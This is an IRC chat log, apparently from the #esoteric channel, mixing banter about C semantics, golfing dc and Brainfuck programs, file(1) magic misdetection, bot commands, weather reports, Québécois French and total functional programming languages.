the end of the main function is defined as producing an exit code of 0... *if* the return type is int. 10:53:23 ("compatible with int" is the precise formulation) 10:53:38 void * main() 10:53:52 (depending on your definition of "compatible with int", this might work!) 11:08:08 well, it's not my definition. 11:13:19 and I'm not quite sure what the definition is... as far as I can see it allows for typedefs. (with typedef MYINT int, MYINT is compatible with int) 11:16:13 oh also signed int and int are compatible. 11:17:10 But unsigned int and signed int are not. Such fun. 11:24:19 -!- MoALTz has quit (Read error: Connection reset by peer). 11:25:09 -!- MoALTz has joined. 11:35:56 -!- jaboja has joined. 11:58:54 -!- jaboja has quit (Read error: Connection reset by peer). 12:01:42 -!- APic has quit (Ping timeout: 260 seconds). 12:28:06 `` dc << Hello, world! 12:33:09 `` dc << Hello, world! 12:34:10 (That should be optimal with the restriction that each P leaves numbers 0..k on a stack of size k+1... but I expect that violating that restriction would help) 12:58:42 `` dc <<<11dd+ddd++1+d1dd+d+++P++d1+dP1dd+dd++d+dd+P1d+dd+d+++P111d1d+d+d++PdP1dd+++PPP11dd++P 12:58:47 Hewor.e! 12:59:06 `` dc <<<11dd+ddd++1+d1dd+d+++P++d1+dP1dd+dd++++dPdP111P11d+dd+P1d+dd+d+++P111d1d+d+d++PdP1dd+++PPP11dd++P 12:59:08 Hello, world! 13:06:12 `` dc <<<11d1+d+ddd++dP+1d+d++d1+Pd1d+d+d++dPddP1dd+++dP11d+dd+P1d+dd+d+++Pd1d+d+d++PdP1dd+++PPPdd++P 13:06:15 Hello, world! 13:10:55 `` dc <<<11d1+d+ddd++dP+d1dd+d+++Pd11+1+dPdPd1+P1d+dd+d+++Pd11+Pd1dd+++dP1dd+++PP1d+d++Pdd++P 13:10:57 dc: stack empty \ dc: stack empty \ dc: stack empty \ dc: stack empty \ dc: stack empty \ Hellmvkcf` 13:11:02 ah! 13:20:15 `` dc <<<11d1+d+ddd++dP+d1dd+d+++Pd11+1+dPdPd+P1d+dd+d+++Pd11+Pd1dd+++dP1dd+++PP1d+d++Pdd++P 13:20:17 dc: stack empty \ dc: stack empty \ dc: stack empty \ dc: stack empty \ dc: stack empty \ dc: stack empty \ HellØj 13:20:47 :-/ 13:32:42 `` dc <<<11d1+d+ddd++dP+1d+d++d1+Pd1d+d+d++dPdP111P11d+dd+P1d+dd+d+++Pd11+P111dP1dd+++PPPdd++P 13:32:44 Hello, world! 13:35:58 Okay, that's half of Cale's program's size... perhaps that's a good place to stop. 13:36:15 hah, nicely done 13:55:44 (I'm also at a loss about what to try next to improve that program.) 14:47:03 -!- zgrep_ has joined. 14:47:33 -!- boily has joined. 14:48:39 -!- Warrigal has joined. 14:48:41 -!- pikhq_ has joined. 14:48:55 -!- bender has quit (Ping timeout: 250 seconds). 14:49:15 -!- kragniz_ has joined. 14:49:27 -!- erdic_ has joined. 14:50:35 -!- ^v^v has joined. 14:51:14 -!- sebbu has quit (Ping timeout: 258 seconds). 14:51:15 -!- pikhq has quit (Ping timeout: 258 seconds). 14:51:16 -!- fractal has quit (Ping timeout: 258 seconds). 14:51:16 -!- heroux has quit (Ping timeout: 258 seconds). 14:51:17 -!- erdic has quit (Ping timeout: 258 seconds). 14:51:17 -!- ^v has quit (Ping timeout: 258 seconds). 14:51:17 -!- tswett has quit (Ping timeout: 258 seconds). 14:51:17 -!- kragniz has quit (Ping timeout: 258 seconds). 14:51:17 -!- zgrep has quit (Ping timeout: 258 seconds). 14:51:30 -!- erdic_ has changed nick to erdic. 14:54:46 -!- zgrep_ has changed nick to zgrep. 14:56:18 -!- heroux has joined. 15:00:28 -!- bender has joined. 15:01:08 -!- fractal has joined. 15:03:05 -!- kragniz_ has changed nick to kragniz. 15:17:27 -!- Kaynato has joined. 15:29:34 -!- augur has joined. 15:33:38 -!- sebbu has joined. 16:47:39 -!- bender has quit (Ping timeout: 250 seconds). 16:55:46 `wisdom 16:56:15 xkcq//"xkcq" is worth 8 more points than "xkcd" in Scrabble, or a whopping 30 more if both are played optimally on a triple word score. Nyahhh. 16:57:13 `` culprits wisdom/xkcq 16:57:27 b_jonas 16:59:05 * boily equips his mapole with cat ears, the proceeds to mapole b_jonas for having nyaaahhhed. 17:02:58 scrabble is too hard 17:40:01 -!- augur has quit (Remote host closed the connection). 17:45:02 -!- PinealGlandOptic has joined. 17:50:17 5$ file zpipe.c 17:50:19 zpipe.c: CLIPPER instruction trace 17:50:26 and zpipe.c is this https://github.com/madler/zlib/blob/master/examples/zpipe.c 17:51:43 i don't even know what a CLIPPER is 17:56:30 https://github.com/file/file/blob/master/magic/Magdir/clipper 17:56:45 I have no idea what this means 17:56:48 but it contains your answer 17:57:00 see the "pipe"? 17:57:13 -!- boily has quit (Quit: JUPITER CHICKEN). 17:57:26 "pipe" at 4 bytes in, which zpipe.c matches, 17:57:37 says that it's a CLIPPER instruction trace 17:58:09 `` echo " pipe" > .tmp-clipper-instruction-trace 17:58:17 No output. 17:58:18 `` file .tmp-clipper-instruction-trace 17:58:21 ​.tmp-clipper-instruction-trace: CLIPPER instruction trace 17:58:23 `` rm .tmp-clipper-instruction-trace 17:58:28 No output. 17:59:03 in your case the text was "/* zpipe" 18:19:47 gamemanj: probably priority issue. contact file(1) maintainer. 18:20:09 (I'm pretty sure that the magics do include "/*" rules for C/C++ files) 18:23:01 I looked up "Intergraph Clipper" in Wikipedia, and I have managed to find it. 18:23:48 -!- augur has joined. 18:27:37 -!- Melvar has quit (Ping timeout: 252 seconds). 18:32:16 -!- Melvar has joined. 19:01:29 `? comonad 19:02:03 Comonads are just monads in the dual category. 19:05:01 `learn_append comonad They are hard to get into. 19:05:13 Learned 'comonad': Comonads are just monads in the dual category. They are hard to get into. 19:14:36 int-e: Are they? 19:19:18 at least in the same sense as that monads are hard to get out of :-P 19:20:04 But I also have not yet found comonads useful, personally... I'm sure it's entirely my own fault. 19:20:53 Come *on*! .tmp at the root directory? 19:21:21 There's a /tmp that's a tmpfs, and a tmp/ that's unversioned. 19:21:42 s/root/hackenv/ 19:22:04 `` ls -lad .tmp 19:22:07 ls: cannot access .tmp: No such file or directory 19:22:18 It was .tmp-clipper-instruction-trace and got removed already. 19:22:23 oh, up there 19:22:28 (But still made two commits, of course.) 19:24:36 I don't think monads are hard to get out of either. 19:24:42 fizzie: To be fair, tmp/ is a new innovation. 19:24:44 `? shaventions 19:24:46 shaventions include: before/lastfiles, culprits, hog/hogue, le//rn, mk/mkx, sled/sedlast, spore/spam/speek/sport/1. Taneb invented them. 19:25:00 What does shaventions do? 19:25:09 `sled wisdom/shanvention//s#mk#tmp/, mk# 19:25:10 Rosebud! 19:25:19 `sled wisdom/shanventions//s#mk#tmp/, mk# 19:25:21 Rosebud! 19:26:52 `culprits bin/sled 19:27:12 oerjan oerjan oerjan oerjan oerjan shachaf shachaf shachaf shachaf 19:27:28 so many! 19:28:11 `ls wisdom/shavention 19:28:12 wisdom/shavention 19:28:17 oh because oerjan needed 3 attempts to add the movie spoiler 19:45:34 hmmmmm.... flaming hot sled 19:46:04 `cat bin/sled 19:46:08 ​[[ "$1" == ?*//* ]] || { echo 'usage: sled file//script'; exit 1; }; key="${1%%//*}"; value="${1#*//}"; [[ -f "$key" ]] || { echo 'Rosebud!'; exit 1; }; sed -i "$value" "$key" && { echo -n "$key//"; cat "$key"; } 19:46:31 Oh. 19:46:41 `sled wisdom/shavention//s#mk#tmp/, mk# 19:46:45 wisdom/shavention//shaventions include: before/lastfiles, culprits, hog/hogue, le//rn, tmp/, mk/mkx, sled/sedlast, spore/spam/speek/sport/1. Taneb invented them. 20:15:29 -!- dos has joined. 20:25:52 -!- dos has quit (Ping timeout: 252 seconds). 20:29:36 -!- jaboja has joined. 20:34:11 -!- dos has joined. 20:42:22 -!- dos has quit (Ping timeout: 252 seconds). 20:46:23 -!- boily has joined. 20:46:25 @metar CYUL 20:46:26 CYUL 251900Z 24009KT 30SM FEW075 BKN250 29/10 A3012 RMK CU1CI6 CU TR SLP202 DENSITY ALT 1500FT 20:48:07 parse error. "Density altitude is the altitude relative to the standard atmosphere conditions (ISA) at which the air density would be equal to the indicated air density at the place of observation." - that did not help. 20:48:28 @metar KOAK 20:48:28 KOAK 251853Z AUTO 27006KT 10SM CLR 23/11 A2996 RMK AO2 SLP145 T02330106 20:48:35 @metar KSJC 20:48:35 KSJC 251853Z 31004KT 10SM CLR 28/11 A2995 RMK AO2 SLP140 T02780111 20:48:44 hm 20:48:45 @metar KSAN 20:48:45 KSAN 251851Z 19006KT 10SM SCT019 21/15 A2990 RMK AO2 SLP126 T02060150 $ 20:49:06 @metar KSMF 20:49:06 KSMF 251853Z 34008KT 10SM CLR 31/11 A2991 RMK AO2 SLP128 T03060106 20:50:44 hellochaf. are you still in KOAK? 20:50:50 Close enough. 20:51:28 @metar KPHX 20:51:28 KPHX 251851Z 22006KT 10SM FEW120 FEW250 38/09 A2984 RMK AO2 SLP079 T03830089 20:53:01 actually the International Standard Atmosphere looks like a great concept 20:54:11 * int-e is imagining a big room of people negotiating what the standard atmosphere should be like... and signing a treaty agreeing to adjust their respective climates accordingly 20:58:06 it should be blue! 20:58:47 especially at night 21:07:46 -!- PinealGlandOptic has quit (Quit: leaving). 21:14:49 @metar EGLL 21:14:49 EGLL 251950Z AUTO 27008KT 9999 NCD 16/11 Q1017 NOSIG 21:24:24 -!- augur has quit (Remote host closed the connection). 22:02:03 <\oren\> the international sky should be CCCCFF 22:04:30 \oren\, that's a bit pinky for my taste 22:04:38 How about BBDDFF 22:09:30 -!- idris-bot has joined. 22:14:31 -!- augur has joined. 22:32:46 -!- lleu has joined. 22:39:54 -!- gamemanj has quit (Ping timeout: 276 seconds). 22:46:48 -!- lleu has quit (Quit: That's what she said). 22:58:08 -!- lleu has joined. 22:58:37 -!- boily has quit (Quit: MOMENTARY CHICKEN). 23:15:25 -!- jaboja has quit (Read error: Connection reset by peer). 23:24:31 -!- jaboja has joined. 23:30:42 -!- jaboja has quit (Read error: Connection reset by peer). 23:43:41 -!- jaboja has joined. 23:44:26 -!- dos has joined. 23:55:15 -!- jaboja has quit (Read error: Connection reset by peer). 2016-06-26: 00:03:08 -!- jaboja has joined. 00:07:46 -!- jaboja has quit (Read error: Connection reset by peer). 00:15:31 -!- dos has quit (Ping timeout: 240 seconds). 00:36:31 -!- earendel2 has joined. 00:39:08 -!- earendel2 has left. 00:39:11 -!- earendel2 has joined. 00:39:55 -!- earendel2 has left. 00:39:58 -!- earendel2 has joined. 00:40:06 -!- earendel2 has quit (Client Quit). 00:51:35 -!- oerjan has joined. 00:58:32 -!- boily has joined. 01:00:09 goily utc midnight 01:00:52 ahbingadonça. 01:01:30 terjane õhtust. 01:02:22 AAAAAAAA 01:03:19 oh darn i should have said my guess before googling 01:03:34 (estonian) 01:04:11 («ahbingadonça» → «ah bien regarde donc ça» → “oh, would you look at that”) 01:04:36 ah. french written in the proper polysynthetic spelling 01:04:48 *ding*(õ) 01:06:18 /'äbɛ̃gædɔ̃sɑ/ 01:07:08 meanwhile, trying to learn how to pronounce Korean correctly. 01:07:16 http://www.academia.edu/2000636/Grammaticalization_of_polysynthesis_with_special_reference_to_Spoken_French_ 01:07:38 for the most part, it's quite manageable, but then you trip up on arythmic consonant cluster that fungot you up your way through a word. 01:07:51 ooooh, shiny! 01:10:34 (it was the first google hit for french polysynthesis) 01:12:49 (of course that's a pretty disputed theory) 01:16:04 that "article" reads like notes taken during a class. 01:16:58 I doubt that the argument that French is polysynthetic is valid. 01:17:10 *sad trombone* 01:17:22 maybe just spoken québécois then? 01:18:05 that may be the case. 01:18:37 verb groups tend to suffer from the greatest mangulation. 01:19:06 “he was holding her” → «yatnè» 01:19:27 (of course, this is extremely colloquial and must be taken with an artery-clogging grain of salt.) 01:20:45 -!- Etaoin has joined. 01:20:53 hello 01:21:09 Hetalloin. 01:22:23 Good evetaoining 01:23:25 oh you're here :D 01:23:31 I just pm'd you haha 01:23:36 one example from wikipédia that, with some creativity, supports French polysynthesis: “she opened the door for him again” → «ayarouveraporte» 01:26:27 -!- lambda-11235 has joined. 01:27:23 helloily 01:27:33 how goes the drinking 01:27:59 tonight is dry. 01:28:44 the whole thing? like...until it's over? 01:29:31 eh? I'm just not imbibing any alcohol today. 01:29:50 why? 01:31:32 well back to the party 01:31:43 I may have woke up with a fiery headache... 01:31:50 * boily pokes quintopia in the party bits :D 01:32:35 anyone know why I can't get drunk? since we're talking about drinking 01:35:56 `wisdom 01:36:26 -!- augur has quit (Remote host closed the connection). 01:36:33 pidgin//The pidgin hole principle states that if n+1 messages are sent over n protocols, then at least two messages are sent over the same protocol. 01:36:58 `culprits wisdom/pidgin 01:37:21 int-e int-e int-e int-e 01:37:43 Etaoin: because you shouldn't aim for that hth 01:37:46 -!- MoALTz has quit (Ping timeout: 272 seconds). 01:38:05 int-e: Why not the usual meaning of "pidgin"? 01:38:17 I really don't aim for it, just a thing I noticed 01:38:37 `wisdom 01:38:40 bezout's theorem//Bézout's theorem says that if a system of polynomial equations over the complexes has as many variables as equations, then in the general case the number of solutions it has is equal to the product of one less than the degrees of the polynomials. 01:38:47 `culprits wisdom/beout's theorem 01:38:54 No output. 01:38:57 Etaoin: well, drink responsibly and eat lots of poutine to soak up excesses! 01:39:02 `culprits wisdom/bezout's theorem 01:39:14 b_jonas 01:39:48 b_jonas: What's wisdomy about that? 01:39:55 Classic b_jonas entry. 01:40:05 the wisdom of a wisdom is its own wisdom. 01:40:18 Etaoin: have you ever poutined? 01:41:03 what's that? 01:41:45 poutine: French fries, cheese curds, poutine gravy. 01:42:11 Are they French fries even in Canada? 01:43:24 hmm... good question... 01:43:26 well I have eaten them but what does that have to do with getting smashed 01:43:51 perfect post-night-out meal. it magically tastes better at 3am. 01:44:14 boily: Is that why the local poutine place closes at 4? 01:44:28 Unfortunately the vegetarian poutine I've had was kind of scow. 01:44:30 scowtine 01:44:48 i'm guessing the québécois will call their language french long after it's mutually unintelligible with the metropolitans 01:45:40 shachaf: the most well-known place is 24/7. 01:46:00 our French is Frencher than their French, bon! 01:46:03 The only place I know here is Smoke's poutinerie. 01:46:31 do you pronounce croissant the french or english way? 01:46:44 French. 01:46:59 I want to go to a bakery and overpronounce the shit out of "croissant" 01:47:06 kroasang 01:47:17 `? misspellings of corissant 01:47:19 oops 01:47:20 misspellings of corissant? ¯\(°​_o)/¯ 01:47:22 `? misspellings of corissant 01:47:23 misspellings of corissant? ¯\(°​_o)/¯ 01:47:25 ugh 01:47:33 i'll blame my fingers here 01:47:34 `? misspellings of croissant 01:47:36 misspellings of crosant? ¯\(°​_o)/¯ 01:47:49 shachaf: you're like, ruining the joke tdnh 01:47:54 are there any english people not in the eu here? 01:47:56 oerjan: i know :'( 01:48:13 Etaoin: please precise "English". 01:48:21 from england 01:48:27 Engs? 01:48:29 <\oren\> what would cause hexchat to take >1GB ram? 01:48:32 . o O ( slightly tempted to add a noodly special case for that one now ) 01:48:47 \oren\: All programs take >1GB RAM now. 01:48:51 It's just how software is written. 01:48:55 Why you should get drunk? In general is bad idea and my recommendation is to don't get drunk 01:48:59 Eclipse is the New Emacs. 01:49:02 A single Google+ tab in my browser takes >1GB RAM. 01:49:11 if your program doesn't take >1gb ram it's either not made in java or it's a toy program 01:49:13 zzo38: Why is it bad idea? 01:49:15 *gasp* someone uses google+! 01:49:19 <\oren\> cwasaw 01:49:46 * boily mapoles \oren\. "you're Canadian. you should know better! you bring disgrace to our families and ancestors!" 01:49:48 boily: Well, I try not to. 01:49:52 <\oren\> as in, I went to the bakery and got a delicious chocolate cwasaw 01:50:08 koason 01:50:12 AAAAAAAAAAAAAAAAAAAAAARGH! 01:50:21 kyoso 01:50:24 * boily wildly mapoles random miscroissanters 01:50:40 O Canada! Our home and native land! True patriot love in all thy sons command. With glowing hearts we see thee rise, The True North strong and free! From far and wide, O Canada, we stand on guard for thee. God keep our land glorious and free! O Canada, we stand on guard for thee. O Canada, we stand on guard for thee. 01:50:56 I have read that in French the words are different 01:51:15 zzo38: Some people get drunk because they enjoy it. 01:51:22 <\oren\> what would cause hexchat to take >1GB ram? <-- is it actually used or just virtually allocated? some programs have started allocating massive address space from the start (see: most recent GHC) 01:51:25 (I don't know what they are, but apparently they involve more Christianity and more swords) 01:51:27 zzo38: Why do you want them to deny themselves the pleasure of being drunk? 01:51:34 Ô Canada! Terre de nos aïeux! Ton front est ceint de fleurons glorieux! ♪ 01:51:36 zzo38: Do you speak French? 01:51:58 No I don't speak French, I just read in the news that the French Canadian anthem is different 01:51:58 Anyway the Russian anthem is the best one. 01:52:04 So you might as well scrap the rest. 01:52:07 . o O ( you should get properly drunk _once_, so you know to avoid it. ) 01:52:19 zzo38: I thought you were Canadian? 01:52:22 shachaf: It is recommendation not to get drunk, it is not a requirement 01:52:23 <\oren\> ee say portay la kwa 01:52:39 Yes I am Canadian but I am not very good at French. 01:52:55 I genuinely cannot get drunk tho 01:53:03 no matter how much I drink 01:53:16 (If I was working in government, I would try to learn French better so that I can know both English and French, but I do not work in the government and do not intend to.) 01:53:17 I can get alcohol poisoning and die? 01:53:34 if that counts as getting absolutely smashed 01:53:37 Etaoin: pretty much so, yes. 01:53:40 zzo38: Do you work outside government? 01:54:02 What do you think? 01:54:16 I thought not, but I didn't know. 01:55:03 I will not write the answer 01:55:13 you're not worthy of an answer 01:55:43 Anyway the Russian anthem is the best one. <-- i dunno i have a weak spot for the german one too. 01:56:28 isn't the swedish anthem basically abba? 01:56:31 or young lean? 01:57:20 Etaoin: no, although the swedish anthem is also nice. 01:57:36 that's honestly kind of disappointing 01:58:01 imagine at the start of every football game https://www.youtube.com/watch?v=xFrGuyw1V8s 01:59:02 https://www.youtube.com/watch?v=bJ4rpH4wLMQ that author comment is _so_ swedish (you can imagine what happened in the comments before he closed them) 01:59:39 zlatan singing "dancing queen only seventeen" 01:59:50 ("Please grasp that I'm not racist, I'm communist" 01:59:52 ) 02:00:21 communism isn't half bad honestly 02:00:28 people are though 02:00:38 basically, in sweden you cannot upload the national anthem to youtube without being accused of racism 02:00:57 * oerjan is norwegian not swedish btw 02:01:00 I've been reading a few capitalism propaganda books. 02:01:03 have you seen the picture of the most commonly learned language in europe on duolingo? 02:01:18 Capitalism is TG. 02:01:21 most are english/german 02:01:24 But it's also a mess. 02:01:28 in sweden it's swedish 02:01:44 Etaoin: ha 02:02:24 i doubt that even with all the immigrants, swedish would beat english as second language there... 02:02:55 not sure if it was official or a meme sadly 02:03:00 (assuming that _everyone_ learns english, like in other nordic countries) 02:03:16 everyone knows english in sweden is the stereotype 02:03:35 there's a person called Alcest in the chat, you like the band or just the word? 02:03:43 -!- hppavilion[1] has joined. 02:03:56 is it random or is it the band 02:03:59 because it's a great band 02:04:31 "It should work if your browser supports HTML" --Me 02:05:06 sounds like something you'd say condescendingly to someone being stupid tbh 02:05:33 Etaoin: I said it to someone whose computer refuses to install Flash (It's a linux box, so it's not like they're just a massive idiot) 02:05:51 i don't think Alcest is physically present now. e doesn't speak much, anyway. 02:06:24 lots of lurkers here. 02:07:20 -!- lleu has quit (Quit: That's what she said). 02:07:45 you sure flash only uses html? pretty sure a browser/os have to support flash for it to work 02:07:55 but getting flash to work on linux can get weird 02:08:49 i assume hppavilion[1] meant the page doesn't need flash 02:09:59 I understood it as saying flash should work if the browser supports HTML 02:10:23 i don't think hppavilion[1] is that cluecless. 02:10:47 `? hppavilion[1] 02:10:50 Etaoin: Yeah, no 02:10:50 hppavilion[1] se describe en las notas al pie. ¿Porqué no los dos? Nadie lo sabe. 02:11:08 ¯\_(ツ)_/¯ 02:11:27 oh now I get it ! 02:11:28 !!! 02:11:39 boy I'm slow 02:11:53 `learn_append hppavilion[1] No es tan cluecless. 02:12:02 Learned 'hppavilion[1]': hppavilion[1] se describe en las notas al pie. ¿Porqué no los dos? Nadie lo sabe. No es tan cluecless. 02:12:42 one day, we'll harpoon a South American, keep them in the chännel, grow them, and make them correct the Spanish bits of the Great Wisdom. 02:14:00 is there a bot that translates a given string into brainfuck code that prints it? 02:14:10 that'd be.. useful? 02:14:15 Etaoin: Not a bot IIRC, but there are some sites 02:14:22 Etaoin: Wait, I think fungot might have a command for that 02:14:22 hppavilion[1]: i think it refers to _code_, not of syntax for people that work on every rfc-compliant ircds 02:14:24 ^help 02:14:24 ^ ; ^def ; ^show [command]; lang=bf/ul, code=text/str:N; ^str 0-9 get/set/add [text]; ^style [style]; ^bool 02:14:37 boily: And they'll be able to explain to other south americans that we aren't here to explain canaima 02:14:54 ^texttobf 02:15:43 The de-facto standard is "bf_textgen" (or various names like that), a genetic programming dealie. 02:15:51 It used to be installed in EgoBot, but of course that is no more. 02:15:55 It might be in the port. 02:15:58 why not :( 02:16:32 Why do I always try to derive meaning from fungot? We all know fungot never says anything of meaning; that'd give fnem away 02:16:33 hppavilion[1]: you made him sad! :p. ugh i need to install 02:16:45 Oh, wow, that was scary 02:17:03 fungot is tg 02:17:03 shachaf: i was thinking he was framed in frantic too. of course, the even worse thing about the course is to allow fnord to work with cygwin. 02:17:05 hppavilion[1]: don't encourage fungot hth 02:17:05 boily: how can you expect, " freestanding" means that the language only. ah well 02:17:15 The first statement sounded like Etaoin and the second sounded like the person I'm actively talking to who doesn't have flash 02:17:15 `! bf_textgen walrus 02:17:19 ​/hackenv/bin/!: 4: exec: ibin/bf_textgen: not found 02:17:27 Er, right, the name was different. 02:17:29 `! bf_txtgen walrus 02:17:38 fungot: "freestanding" means the language only? Very true. 02:17:38 shachaf: except for using os x? meaning via mouse? use a keyboard :p. 02:17:45 I agree completely. 02:17:51 72 ++++++++++++[>++++++++++>++++++++>+++++++++><<<<-]>-.>+.>.++++++.+++.--. [423] 02:17:59 ^bf ++++++++++++[>++++++++++>++++++++>+++++++++><<<<-]>-.>+.>.++++++.+++.--. 02:17:59 walrus 02:18:04 There you go. 02:18:11 Except it wasn't *that* slow when installed in EgoBot. 02:18:28 OH 02:18:33 B O O M 02:18:36 fizzie: Seriously, you didn't give fungot the input as a parameter, did you? 02:18:36 hppavilion[1]: a srfi can't specify a violation of privacy.). can someone spoon-feed me the require line above just installed in /.plt-scheme/ planet/ 02:18:47 fizzie: why is HackEgo so slow tdnh 02:18:52 It's also far from optimal. As you can maybe tell from "><" already. 02:19:07 -!- augur has joined. 02:19:09 * boily ties fungot and HackEgo together to see what will happen 02:19:09 boily: quite the contrary: undefined operations add a little bit. 02:19:12 fizzie: Why don't we just pipe it through a s/<>// filter? 02:19:23 oh yeah, interbot undefined operations baby... 02:19:35 hppavilion[1]: Because it would be such a minor win. 02:19:37 Well, that /could/ mess up when <> is the first occurence of > in the program 02:19:57 Depending on how the interpreter works- whether it just ignores < at the home position 02:20:00 I thought you meant s/> I don't think it's possible for bf_txtgen to generate a <>. 02:20:29 fizzie: Yes, that too, but I accidentally typed <> first and didn't feel like reaching /all the way/ to my backspace key 02:20:31 It has a very strict format for the program it generates. 02:20:34 fizzie: But anyway 02:20:38 is it possible to get fungot to say fungot? 02:20:38 Etaoin: yes. it parses it into an interpreter session and type ( load " foo.scm") doesn't seem to be baffled by curly braces in the bnf, but it 02:20:40 You're playing a dangerous game, fizzie 02:20:48 Etaoin: Yes 02:20:59 does it start talking to itself? 02:21:01 Etaoin: But it won't respond, because the IRC server doesn't send you your own messages 02:21:06 aw 02:21:17 Etaoin: The only reason they appear in your client is because the client adds them for convenience 02:21:23 what about adding another bot that'll try to talk to it every few hours 02:21:33 `? botlop 02:21:35 botlops are the core of botsentiences. Sapience is scheduled for the next release. 02:21:48 yeah I know how it works I've made chat clients ^_^ 02:21:50 Etaoin: It's been done 02:22:03 Etaoin: But please, feel free to try to make one- it's tradition 02:22:09 of course it has :D I just wanna see these in action 02:22:36 There's some amount of botloop avoidance logic in many bots. 02:22:40 Etaoin: Note: Botlopping doesn't count if you make the bot (unless you already made it and want to see if there's a part that lets you botlop) 02:23:05 HackEgo adds some invisible Unicode if the message starts with [^a-z] (approximately), and fungot has a built-in ignore list of nicks it ignores completely. 02:23:05 fizzie: all those dotted lines are hard on my eyes... so, it's not a 02:23:08 ^ignore 02:23:08 ^(EgoBot|HackEgo|toBogE|Sparkbot|optbot|lambdabot|oonbotti|metasepia|ruddy|preflex|evalj|idris-bot|passwordBOT|jconn|applybot|blsqbot|fnordbot|termbot)! 02:23:46 why are these built in though? 02:23:46 ^add-ignore DonaldTrump 02:23:59 Etaoin: So it doesn't botlop 02:24:15 how is botlopping a bad thing :( 02:24:18 Etaoin: And it'd be hard to add a feature to make it so you can add an ignore 02:24:30 Etaoin: It's fun for exactly 3 revolutions, then it gets annoyying 02:24:42 Etaoin: Remember, fungot is literally written in Befunge-98 02:24:42 hppavilion[1]: that is ( to humans) obviously not very useful unless you know what one i stopped at then 02:24:45 I suppose that's a fair point 02:25:32 (that's not even a piece of #esoteric jokelore; fungot is actually written in Befunge-98, and the code is public) 02:25:33 hppavilion[1]: mer espoo/ olari visitation now; away. the impossible takes a little time to understand it, so 02:25:44 I trust you dw :D 02:26:03 how are they implemented though? I mean where do they run? 02:26:07 https://github.com/fis/fungot 02:26:07 hppavilion[1]: what happens if you invoke a full continuation, because it has none. :p) 02:26:31 Huh, the last commit to fungot's repo was made in 2013 02:26:31 hppavilion[1]: it is a case of weird dos font? that's even worse 02:26:52 Etaoin: I assume on a server somewhere in Canada 02:26:54 do you purposefully keep saying fungot just to invoke fungot 02:26:55 Etaoin: the specs asked for meters or centimeters wide use.... make an interpreter for 02:27:04 I haven't been doing much fungot development lately. 02:27:05 fizzie: ok. i'll stick to the standard ( which it does the same? ( roughly that amount of bits 02:27:07 Etaoin: No, I don't purposely say fungot 02:27:07 hppavilion[1]: isn't you also oklopol? i dont see what the optimization does to the code during execution 02:27:14 Why would I want to invoke fungot? 02:27:15 hppavilion[1]: a few crappy ones use boehm's gc. it's as good as newlisp. any number of strings can be ordered by internet. that's so, eh, cheap enough 02:27:19 Fungot is fun for a bit 02:27:23 I don't fungotting know 02:27:24 Etaoin: that too. :) in fact, to me 02:27:24 But then fungot just gets annoying 02:27:24 hppavilion[1]: think " c preprocessor on steroids" for me in c and use http://www.toreun.org/ eso.zip is the latest ' unofficial' release, from november of last year) 02:28:00 OK, wow, that was an interesting response 02:28:56 The Funge who must Not be Named, when fnis creator said e hadn't been doing much development on fnim, told em (the creator) that fne would just stick to the standard- the code for the bot 02:29:26 As for where it runs physically, in a cfunge interpreter on a box about one and a half metres left of my feet. 02:29:30 -!- boily has quit (Quit: SENSORY CHICKEN). 02:29:38 but it does actually have to run on a server? 02:29:50 it's not possible to have it float in the ether somewhere 02:30:17 Unfortunately, freenode doesn't yet support free-floating blobs of Befunge for some reason. 02:30:41 Is there a programming language that uses X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* as a program? One where all programs necessarily look like viruses but aren't? 02:30:50 (well, except those that are) 02:31:14 Or, well, maybe it doesn't need the EICAR as a program, but it still has to always look like a virus 02:31:16 (HackEgo runs on the same machine as the esolangs.org wiki.) 02:31:27 oh on a more serious note, is it possible to design a language in which it's syntactically incorrect to write a non halting program? 02:31:29 fizzie: And the forum on the same domain 02:31:40 That doesn't really "run". 02:31:43 Etaoin: Yes, that's actually a class of language 02:31:54 I'd love to see that! 02:31:56 Etaoin: Total Functional Programming, where you can only write halting programs 02:32:05 Etaoin: It's actually a field that I think is gaining some traction 02:32:26 TFP or the better variant where you can write non-halting programs, but only when it's provable that they're non-halting 02:32:45 I'd prefer the former variant honestly 02:32:59 @messages-screamed 02:32:59 Unknown command, try @list 02:33:04 @messages-proud 02:33:05 oerjan said 1d 3h 16m 5s ago: In a 4D universe, would we have 2D roads? <-- if you consider 4d to include relativistic spacetime, we already do hth 02:33:05 oerjan said 1d 1h 24m 12s ago: grep has a -r option hth 02:33:17 oerjan: DAMN YOU! 02:33:33 DAMN YOU AND YOUR PROPER TECHNICALITIES OF SCIENCE! 02:33:40 02:34:26 aren't roads 2d by default? 02:34:45 *-c dammit 02:34:47 Etaoin: ...yes, but not "really" 2D 02:35:05 They're 2D the same way paper is 3D, basically 02:36:21 as an objection to oerjan's response, wouldn't string theory require the universe to be >12D? 02:37:38 haskell isn't total functional? right? 02:38:57 wouldn't f _ = f 3 non halting? 02:40:51 f = f equally much. 02:41:02 > let f = f in f 02:41:06 mueval-core: Time limit exceeded 02:44:09 can someone give me an example of a total functional language? 02:45:56 BlooP. 02:47:16 can the busy beaver be implemented in these languages? 02:49:27 (Well, maybe BlooP isn't. I'm not entirely sure what the exact definition for "total functional" is. But it's the canonical example language that only allows programs that halt.) 02:49:58 oerjan: DAMN YOU! <-- please don't damn people it disturbs ais523 hth 02:50:44 Etaoin: System F hth 02:51:13 Etaoin: It isn't 02:51:33 oerjan: It does? 02:51:44 I'm def gonna have a ton of these silly questions in the future 02:51:45 Etaoin: Almost certainly, but not really 02:51:54 Etaoin: these languages aren't even turing-complete, because then you'd have solved the halting problem. 02:52:00 shachaf: yep 02:52:07 I know they aren't turing complete 02:52:08 oerjan: does it disturb you 02:52:15 shachaf: slightly. 02:52:19 Etaoin: You can't *really* implement busy beaver in these because, by their nature, you can always make a longer-running program 02:52:31 Etaoin: And thus you can always make a program that leaves more cells on 1 02:52:43 but wouldn't it be impossible to implement the variations that don't halt? 02:53:08 basically anything we don't know if it halts could be tested in such a language, right? 02:53:13 Etaoin: Yes? 02:53:38 Etaoin: No, you can't put anything in that language to see if it halts 02:53:51 why not? sorry if it's a stupid question 02:53:59 Etaoin: Because even things we do know don't halt won't halt in this language- or, more accurately, aren't implementable 02:54:12 s/won't/will/ 02:54:44 Etaoin: In a language where all programs must halt, how would you implement a truth machine? 02:55:08 Since you can't, you can't plug in a program to see if it will halt 02:55:13 well that's my point, if it isn't implementable then it definitely doesn't halt 02:55:27 Though, I suppose you could argue this forms a valid strategy- oh, 